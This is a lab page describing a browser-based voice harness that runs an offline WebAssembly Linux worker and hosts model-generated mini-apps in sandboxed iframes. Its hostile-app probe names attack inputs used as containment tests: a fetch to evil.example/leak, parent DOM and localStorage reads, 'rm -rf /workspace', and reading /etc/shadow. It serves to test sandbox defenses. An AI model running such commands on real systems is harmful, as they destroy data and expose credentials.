AI Focus

vm runtime mini-apps: browser-native voicebox on linux 7.x

Why this matters

Paul’s original Voicebox harness ran a local Node.js daemon so a browser room could execute shell tools and mount model-generated HTML mini-apps—which meant installing a local server and running commands with host user authority. Moving the backend into an offline Unkernel Linux 7.x Dedicated Worker removes the local daemon while confining generated UIs inside opaque <iframe sandbox="allow-scripts"> origins.

What this opens up

Zero-install, software-on-demand browser workspaces: speak or type a task, save mini-app HTML to /workspace/apps/ via the guest host command /run/kw/bin/launch-app, mount it at a "null" origin with connect-src 'none', run allowlisted POSIX tools (awk, grep, sha256sum, wc, sort, head) over a scoped MessagePort, and call newly registered WebMCP tools back from the Room.

How the tests work

  1. Wait for the offline unkernel Linux 7.x Dedicated Worker (public/daemon-worker.js, memoryMiB: 112, zero network, 9p /workspace) to boot and mount 1. CSV Revenue Chart & AWK Summary via /run/kw/bin/launch-app.
  2. Switch across the 3 instant blueprint apps (CSV Revenue Chart & AWK Summary, Markdown TODO Checklist Manager, and Log & SHA-256 Digest Inspector) or use the Voice & Prompt Room (Web Speech API + optional Chrome LanguageModel, Port Authority AI Router, or local Ollama) and open the Live Mini-App HTML/JS Source Drawer to edit and re-mount code immediately.
  3. Call the mounted mini-app’s dynamically registered WebMCP Tools (get_revenue_summary, highlight_top_product, add_todo_item, filter_logs, hash_workspace_file) from the right-hand panel and inspect live changes in /workspace.
  4. Click Run Hostile App Attack Probe to mount an untrusted app attempting fetch("https://evil.example/leak"), window.parent.document / localStorage, and vmBridge.exec("rm", ["-rf", "/workspace"]) plus readFile("/etc/shadow")—confirming all 3 escape vectors fail closed in the UI and audit table.
Replace Voicebox's local Node.js daemon with an offline browser-delivered Unkernel Linux 7.x Dedicated Worker, mount generated HTML mini-apps in opaque sandbox iframes over a scoped MessagePort allowlist, and drive their dynamic WebMCP tools. Open vm runtime mini-apps: browser-native voicebox on linux 7.x full screen ↗

Hypothesis

Pairing an offline browser-delivered Unkernel Linux 7.x Worker (9p /workspace + /run/kw/bin/launch-app) with an opaque <iframe sandbox="allow-scripts"> (connect-src 'none') and a scoped MessagePort allowlist enables Voicebox-style runtime mini-apps and WebMCP tool registration with zero local daemon installation and verifiable fail-closed containment.

What confirms it: Blueprint and edited mini-apps mount at window.origin === "null", execute real Linux awk/grep/sha256sum/wc on /workspace, register callable tools over document.modelContext.registerTool(), and the hostile probe deterministically blocks outbound fetch(), parent DOM/localStorage reads, rm -rf /workspace, and /etc/shadow traversal.

What bounds or disproves it: Requiring WebAssembly JSPI (WebAssembly.Suspending) or confining execution to allowlisted BusyBox binaries inside an in-memory 9p /workspace limits workflows that depend on arbitrary host filesystem access or native desktop CLI harnesses.

Under the hood

VM Runtime Mini-Apps (source on GitHub) adapts the architecture from My voice harness is my new operating system so the entire daemon and mini-app runtime executes client-side inside one tab:

  • Offline Linux 7.x Dedicated Worker (public/daemon-worker.js): Boots unkernel@0.3.0-261202-b033dc7 (memoryMiB: 112, no network stack) and mounts an in-memory 9p MemoryFs at /workspace seeded with metrics.csv, TODO.md, app.log, and /workspace/apps/. Registering the host command /run/kw/bin/launch-app lets guest commands save HTML into /workspace/apps/<slug>.html and signal the browser Room to mount that app.
  • Opaque Sandbox + Scoped MessagePort Broker (src/worker.ts & public/lib/mini-app-host.js): Serves /sandbox/mini-app with Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; connect-src 'none' inside <iframe sandbox="allow-scripts"> (window.origin === "null"). The Room transfers one end of a MessageChannel exposing window.vmBridge (readFile, writeFile, listFiles, exec) and document.modelContext.registerTool(). Every request crosses normalizeWorkspacePath() and validateVmExecRequest(), confining file access strictly to /workspace/ and permitting only awk, grep, sha256sum, wc, sort, and head via direct execve without a shell.
  • Dynamic WebMCP Loop & Fail-Closed Probe: Mounted mini-apps register structured tools back into the Room UI so callers can invoke get_revenue_summary, add_todo_item, or filter_logs over the private MessagePort. Mounting the hostile probe verifies in real time that outbound fetch(), window.parent.document / localStorage, rm -rf /workspace, and /etc/shadow traversal all reject cleanly.

Key terms & further reading

Unkernel (Linux 7.x in WebAssembly) ↗
A compiled Linux 7.x kernel with real MMU, 9p host mounts, and host commands (commands: { ... }) running inside a browser Dedicated Worker without server compute.
Opaque Sandboxed Iframe ↗
An <iframe sandbox="allow-scripts"> without allow-same-origin executes at a unique "null" origin, preventing access to parent DOM, cookies, or origin storage.
MessagePort Capability Bridge ↗
A private MessageChannel endpoint transferred into the sandboxed iframe so the host can enforce /workspace path guards and command allowlists on every Linux call.
WebMCP (document.modelContext) ↗
A browser tool registration interface where rendered apps publish tool names, JSON input schemas, and execution callbacks back to an enclosing agent loop.
Web Speech API (SpeechRecognition) ↗
Browser speech-to-text interface used by the Voice & Prompt Room to turn spoken commands into mini-app generation prompts when supported.
WebAssembly JSPI (WebAssembly.Suspending) ↗
JavaScript Promise Integration enabling compiled Linux kernel I/O inside WebAssembly to suspend across asynchronous browser operations.

Open questions

  • How should persistent user-created mini-apps in /workspace/apps/ sync cleanly to OPFS across sessions while keeping hostile apps quarantined by digest?
  • When multiple runtime mini-apps are open simultaneously, what namespace and conflict policy should govern overlapping WebMCP tool names?

Iteration log

  • — Built offline Unkernel Linux 7.x Dedicated Worker (public/daemon-worker.js) with 9p /workspace, /run/kw/bin/launch-app host command, opaque /sandbox/mini-app runtime with MessagePort allowlist + WebMCP registration, 3 instant blueprints, live HTML/JS editor, optional LLM generator providers, and 3-vector hostile app attack probe.

Primitives tested: Unkernel Linux 7.x (Wasm + JSPI), 9p MemoryFs & Host Commands, Opaque Sandboxed Iframe (origin: null), MessagePort Capability Allowlist, WebMCP (document.modelContext), Web Speech API.

This is an active lab under /labs/ and stays off the main RSS feed until graduated into a full essay.

More in browser-delivered vms & container fabrics

Connected labs

← browser-delivered vms & container fabrics · All labs